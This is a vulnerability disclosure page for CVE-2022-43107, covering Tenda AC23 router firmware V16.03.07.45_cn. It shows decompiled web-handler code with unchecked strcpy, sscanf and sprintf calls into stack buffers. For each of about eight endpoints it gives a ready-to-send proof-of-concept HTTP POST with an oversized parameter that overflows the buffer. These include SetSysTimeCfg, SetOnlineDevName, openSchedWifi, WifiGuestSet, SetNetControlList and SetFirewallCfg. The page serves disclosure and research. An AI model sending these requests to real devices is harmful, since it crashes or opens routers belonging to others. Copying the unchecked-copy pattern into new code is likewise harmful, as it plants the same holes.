CVE-2022-43107: IOT_FIRMWARE/ac23.md at main · ppcrab/IOT_FIRMWARE

ac23

版本信息：V16.03.07.45_cn

fromSetSysTime→sub_496104→strcpy((char *)v6, s);

if ( !strcmp(v20, “sync”) ) { v19 = sub_496104(a1); v14 = sub_4C9C40(v19); }

int __fastcall sub_496104(int a1) { int v2; // [sp+1Ch] [+1Ch] int v3; // [sp+20h] [+20h] char *s; // [sp+24h] [+24h] int v5; // [sp+28h] [+28h] __int16 v6[8]; // [sp+2Ch] [+2Ch] BYREF _WORD v7[8]; // [sp+3Ch] [+3Ch] BYREF int v8[2]; // [sp+4Ch] [+4Ch] BYREF int v9[5]; // [sp+54h] [+54h] BYREF

v5 = 0; v6[0] = 48; v6[1] = 0; v6[2] = 0; v6[3] = 0; v6[4] = 0; v6[5] = 0; v6[6] = 0; v6[7] = 0; strcpy((char *)v7, “0”); v7[1] = 0; v7[2] = 0; v7[3] = 0; v7[4] = 0; v7[5] = 0; v7[6] = 0; v7[7] = 0; v8[0] = 0; v8[1] = 0; v9[0] = 0; v9[1] = 0; v9[2] = 0; v9[3] = 0; s = (char *)websGetVar(a1, "timeZone", &unk_4DDAE4); v3 = websGetVar(a1, "timePeriod", &unk_4DDAE4); v2 = websGetVar(a1, "ntpServer", “time.windows.com”); if ( strchr(s, ‘:’) ) { sscanf(s, "%[^:]:%s", v6, v7);//stack overflow } else { strcpy((char *)v6, s); strcpy((char *)v7, “0”); } SetValue("sys.timesyn", “1”); SetValue("sys.timemode", “auto”); SetValue("sys.timezone", v6); SetValue("sys.timenextzone", v7); SetValue("sys.timefixper", v3); SetValue("sys.timentpserver", v2); if ( !CommitCfm() ) return 1; GetValue("sys.timesyn", v8); if ( atoi((const char *)v8) == 1 ) sprintf((char *)v9, "op=%d", 3); else sprintf((char *)v9, "op=%d", 2); send_msg_to_netctrl(24, v9); return v5; }

poc

POST /goform/SetSysTimeCfg HTTP/1.1 Host: 192.168.0.1 Content-Length: 787 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/system_time.html?random=0.6878395284342707& Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251mzhcvb Connection: close

timeType=sync&timePeriod=86400&ntpServer=time.windows.com&timeZone=aa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&time=2000-01-01%2023%3A39%3A00

formSetDeviceName→set_device_name→sprintf(v4, "%s;1", a1);

int __fastcall formSetDeviceName(int a1) { int result; // $v0 int v2; // [sp+18h] [+18h] const char *v3; // [sp+1Ch] [+1Ch] const char *v4; // [sp+20h] [+20h] int v5[9]; // [sp+24h] [+24h] BYREF

v5[0] = 0; v5[1] = 0; v5[2] = 0; v5[3] = 0; v5[4] = 0; v5[5] = 0; v5[6] = 0; v5[7] = 0; v2 = 0; v4 = (const char *)websGetVar(a1, "mac", &unk_4DEB84); v3 = (const char *)websGetVar(a1, "devName", &unk_4DEB84); if ( set_device_name(v3, v4) )//stack_overflow { sprintf((char *)v5, "{\"errCode\":%d}", 1); result = websTransfer(a1, (const char *)v5); } else { if ( !CommitCfm() ) v2 = 1; sprintf((char *)v5, "{\"errCode\":%d}", v2); result = websTransfer(a1, (const char *)v5); } return result; }

set_device_name

sprintf(v3, "client.devicename%s", (const char *)v5); sprintf(v4, "%s;1", a1); SetValue(v3, v4);

poc

POST /goform/SetOnlineDevName HTTP/1.1 Host: 192.168.0.1 Content-Length: 264 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963& Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close

mac=9c:fc:e8:da:9c:5b&devName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

setSchedWifi→ strcpy((char *)ptr + 2, v8)

int __fastcall setSchedWifi(int a1) { int v1; // $v0 void *ptr; // [sp+30h] [+30h] int i; // [sp+34h] [+34h] char *s; // [sp+38h] [+38h] char *nptr; // [sp+3Ch] [+3Ch] const char *v7; // [sp+40h] [+40h] const char *v8; // [sp+44h] [+44h] char *v9; // [sp+48h] [+48h] int v10; // [sp+4Ch] [+4Ch] int v11; // [sp+50h] [+50h] int v12[2]; // [sp+54h] [+54h] BYREF int v13; // [sp+5Ch] [+5Ch] BYREF int v14; // [sp+60h] [+60h] BYREF int v15; // [sp+64h] [+64h] BYREF int v16; // [sp+68h] [+68h] BYREF int v17; // [sp+6Ch] [+6Ch] BYREF int v18; // [sp+70h] [+70h] BYREF int v19; // [sp+74h] [+74h] BYREF char v20[256]; // [sp+78h] [+78h] BYREF char v21[256]; // [sp+178h] [+178h] BYREF

v11 = 1; v10 = 1; v12[0] = 0; v12[1] = 0; v13 = 1; v14 = 1; v15 = 1; v16 = 1; v17 = 1; v18 = 1; v19 = 1; i = 0; memset(v20, 0, sizeof(v20)); memset(v21, 0, sizeof(v21)); v9 = (char *)websGetVar(a1, "schedWifiEnable", “1”); v8 = (const char *)websGetVar(a1, "schedStartTime", &unk_4D7C58); v7 = (const char *)websGetVar(a1, "schedEndTime", &unk_4D7C58); nptr = (char *)websGetVar(a1, "timeType", “0”); s = (char *)websGetVar(a1, "day", “1,1,1,1,1,1,1”); v1 = wifi_get_mibname("wlan", "enable", v20); GetValue(v1, v12); if ( !LOBYTE(v12[0]) ) strcpy((char *)v12, “1”); if ( atoi(nptr) ) sscanf(s, "%d,%d,%d,%d,%d,%d,%d", &v13, &v14, &v15, &v16, &v17, &v18, &v19); SetValue("sys.sched.wifi.timeType", nptr); ptr = malloc(0x19u); v10 = atoi(v9); if ( ptr ) { *(_BYTE *)ptr = atoi((const char *)v12) != 0; *((_BYTE *)ptr + 1) = atoi(v9) != 0; strcpy((char *)ptr + 2, v8); strcpy((char *)ptr + 10, v7); for ( i = 0; i < 7; ++i ) *((_BYTE *)ptr + i + 18) = *(&v13 + i) != 0; sub_461D5C(ptr, 0); free(ptr); v11 = 0; } CommitCfm(); if ( v10 ) { sprintf(v21, "op=%d", 1); send_msg_to_netctrl(62, v21); v11 = 0; } websWrite( a1, “HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n”); websWrite(a1, "{\"errCode\":%d}", v11); return websDone(a1, 200); }

poc

POST /goform/openSchedWifi HTTP/1.1 Host: 192.168.0.1 Content-Length: 102 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/wifi_time.html?random=0.05230918147386965& Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251aoccvb Connection: close

schedWifiEnable=1&schedStartTime=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&schedEndTime=07%3A00&timeType=1&day=1%2C1%2C1%2C1%2C1%2C0%2C0

fromSetWirelessRepeat→sub_45CD64→sub_45CAD8→sub_45BB10

if ( strcmp(v14, “none”) ) { if ( strcmp(v14, “wpapsk”) ) return -1; v13 = (char *)websGetVar(a1, "wpapsk_type", “wpa&wpa2”); v12 = (char *)websGetVar(a1, "wpapsk_crypto", “aes”); s = (char *)websGetVar(a1, "wpapsk_key", &unk_4D72FC); if ( !*s && strlen(s) < 8 ) return -1; if ( !strcmp(v13, “wpa”) ) { strcpy(v20, “psk”); } else if ( !strcmp(v13, “wpa2”) ) { strcpy(v20, “psk2”); } else { strcpy(v20, “psk+psk2”); } if ( !strcmp(v12, “tkip&aes”) ) strcpy(v21, “tkip+aes”); else strcpy(v21, v12); v6 = wifi_get_mibname(a3, "extend_wpapsk_type", v18); SetValue(v6, v20); v7 = wifi_get_mibname(a3, "extend_wpapsk_crypto", v18); SetValue(v7, v21); v8 = wifi_get_mibname(a3, "extend_wpapsk_key", v18); SetValue(v8, s); }

poc

POST /goform/WifiExtraSet HTTP/1.1 Host: 192.168.0.1 Content-Length: 247 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/wifi_time.html?random=0.05230918147386965& Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251fsacvb Connection: close

wifi_chkHz=1&wl_mode=wisp&wl_enbale=1&country_code=CN&wpsEn=0&guestEn=0&iptvEn=0&wifiTimerEn=1&smartSaveEn=1&dmzEn=1&handset=0&ssid=fcniux&wpapsk_key=11111111&security=wpapsk&wpapsk_type=wpa&wpapsk_crypto=aaaaaaaaaaaaaaaaaaaaaaaaaaaa&mac=undifined

fromSetWifiGusetBasic

__src = (char *)websGetVar(param_1,"shareSpeed",&DAT_004d83a0); strcpy((char *)&local_124,__src);

poc

POST /goform/WifiGuestSet HTTP/1.1 Host: 192.168.0.1 Content-Length: 531 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/main.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251tyacvb Connection: close

guestEn=1&guestEn_5g=1&guestSecurity=wpapsk&guestSecurity_5g=wpapsk&guestSsid=Tenda_VIP&guestSsid_5g=Tenda_VIP_5G&guestWrlPwd=11111111&guestWrlPwd_5g=11111111&effectiveTime=8&shareSpeed=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

formSetQosBand

formSetQosBand→set_qosMib_list→strcpy(v8, s);

int __fastcall formSetQosBand(int a1) { int v2; // [sp+30h] [+30h] int v3[8]; // [sp+34h] [+34h] BYREF char v4[256]; // [sp+54h] [+54h] BYREF int v5[8]; // [sp+154h] [+154h] BYREF int v6[8]; // [sp+174h] [+174h] BYREF int v7[5]; // [sp+194h] [+194h] BYREF

v3[0] = 0; v3[1] = 0; v3[2] = 0; v3[3] = 0; v3[4] = 0; v3[5] = 0; v3[6] = 0; v3[7] = 0; memset(v4, 0, sizeof(v4)); v2 = websGetVar(a1, "list", &unk_4DEB84); unSetQosOldMiblist(); set_qosoldMib_list(); unSetQosMiblist(); set_qosMib_list(v2, 10);

int __fastcall set_qosMib_list(const char *a1, char a2) { char *v2; // $v0 char *s; // [sp+24h] [+24h] const char *v5; // [sp+28h] [+28h] int v6; // [sp+2Ch] [+2Ch] int v7; // [sp+30h] [+30h] BYREF char v8[256]; // [sp+34h] [+34h] BYREF int v9; // [sp+134h] [+134h] BYREF int v10; // [sp+138h] [+138h] int v11[8]; // [sp+13Ch] [+13Ch] BYREF int v12[4]; // [sp+15Ch] [+15Ch] BYREF int v13[4]; // [sp+16Ch] [+16Ch] BYREF char v14[256]; // [sp+17Ch] [+17Ch] BYREF int v15; // [sp+27Ch] [+27Ch] int v16; // [sp+280h] [+280h] int v17; // [sp+284h] [+284h] int v18; // [sp+288h] [+288h]

v7 = 0; memset(v8, 0, sizeof(v8)); v9 = 0; v10 = 0; v11[0] = 0; v11[1] = 0; v11[2] = 0; v11[3] = 0; v11[4] = 0; v11[5] = 0; v11[6] = 0; v11[7] = 0; v12[0] = 0; v12[1] = 0; v12[2] = 0; v12[3] = 0; v13[0] = 0; v13[1] = 0; v13[2] = 0; v13[3] = 0; memset(v14, 0, sizeof(v14)); s = (char *)a1; v2 = strchr(a1, a2); while ( v2 ) { v6 = 0; *v2 = 0; v5 = v2 + 1; memset(v8, 0, sizeof(v8)); strcpy(v8, s); if ( v8[0] == 59 ) { sscanf(v8, ";%[^;];%[^;];%[^;];%[^;];", &v9, v11, v13, v12); } else { sscanf(v8, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v14, v11, v13, v12); v6 = 1; } if ( atoi((const char *)v13) || atoi((const char *)v12) ) { if ( v6 == 1 ) set_device_name(v14, v11);

这个参数长度不加以限制还会影响set_device_name

poc

POST /goform/SetNetControlList HTTP/1.1 Host: 192.168.0.1 Content-Length: 791 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/net_control.html?random=0.0444079600832199& Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251aticvb Connection: close

list=DESKTOP-V29RD1268aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:77:24:54:a9:c000 Unknownaaaaaaaaaaaaaaaaaaaaaaaaaaaaunknown00

setSmartPowerManagement

nptr = (char \*)websGetVar(a1, "powerSavingEn", "0");

s = (char *)websGetVar(a1, "time", “00:00-7:30”); v4 = websGetVar(a1, "powerSaveDelay", “1”); v3 = (char *)websGetVar(a1, "ledCloseType", “allClose”); if ( nptr && s && v4 && v3 ) { sscanf(s, "%[^:]:%[^-]-%[^:]:%s", v7, v8, v9, v10); sprintf(v11, "%s:%s", (const char *)v7, (const char *)v8); sprintf(v12, "%s:%s", (const char *)v9, (const char *)v10); GetValue("sys.sched.led.closetype", v13);

poc

POST /goform/PowerSaveSet HTTP/1.1 Host: 192.168.0.1 Content-Length: 803 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/sleep_mode.html?random=0.7222154127483253& Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251csvcvb Connection: close

powerSavingEn=1&time=0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0%3A00-07%3A00&ledCloseType=allClose&powerSaveDelay=1

formSetFirewallCfg

int __fastcall formSetFirewallCfg(int a1) { int v1; // $a1 int v2; // $a2 _BOOL4 v4; // [sp+20h] [+20h] char *s; // [sp+24h] [+24h] int v6[2]; // [sp+28h] [+28h] BYREF char v7[64]; // [sp+30h] [+30h] BYREF int v8[2]; // [sp+70h] [+70h] BYREF char v9[64]; // [sp+78h] [+78h] BYREF

v6[0] = 0; v6[1] = 0; memset(v7, 0, sizeof(v7)); v8[0] = 0; v8[1] = 0; memset(v9, 0, sizeof(v9)); s = (char *)websGetVar(a1, "firewallEn", “1111”); if ( strlen(s) >= 4 ) { strcpy((char *)v6, s);

poc

POST /goform/SetFirewallCfg HTTP/1.1 Host: 192.168.0.1 Content-Length: 764 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/firewall.html?random=0.3855955678045606& Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: password=1bbd886460827015e5d605ed44252251izccvb Connection: close

firewallEn=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111